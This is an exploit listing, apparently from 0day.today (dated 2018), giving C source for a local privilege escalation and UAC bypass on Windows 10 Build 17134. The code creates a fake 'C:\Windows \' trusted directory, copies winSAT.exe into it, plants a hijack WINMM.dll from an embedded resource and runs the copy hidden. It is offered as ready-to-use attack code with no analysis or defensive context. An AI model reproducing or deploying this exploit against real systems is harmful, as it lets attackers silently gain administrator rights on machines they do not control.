Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass) Exploit

Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass) Exploit

#include "stdafx.h"
#include <Windows.h>
#include "resource.h"
 
void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
    HMODULE hMod = GetModuleHandle(NULL);
    HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
    DWORD dllSize = SizeofResource(hMod, res);
    void* dllBuff = LoadResource(hMod, res);
    HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
    DWORD sizeOut;
    WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
    CloseHandle(hDll);
}
 
int main()
{
    _SHELLEXECUTEINFOW se = {};
    //Create Mock SystemRoot Directory
    CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
    CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
    CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);
 
    //Drop our dll for hijack
    DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");
 
    //Execute our winSAT.exe copy from fake trusted directory
    se.cbSize = sizeof(_SHELLEXECUTEINFOW);
    se.lpFile =  L"C:\\Windows \\System32\\winSAT.exe";
    se.lpParameters = L"formal";
    se.nShow = SW_HIDE;
    se.hwnd = NULL;
    se.lpDirectory = NULL;
    ShellExecuteEx(&se);
 
        return 0;
}

#  0day.today [2018-11-12]  #